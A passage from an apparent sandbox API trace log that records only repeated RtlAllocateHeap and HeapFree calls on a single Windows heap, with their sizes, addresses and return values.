lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.022] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.023] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0070.026] 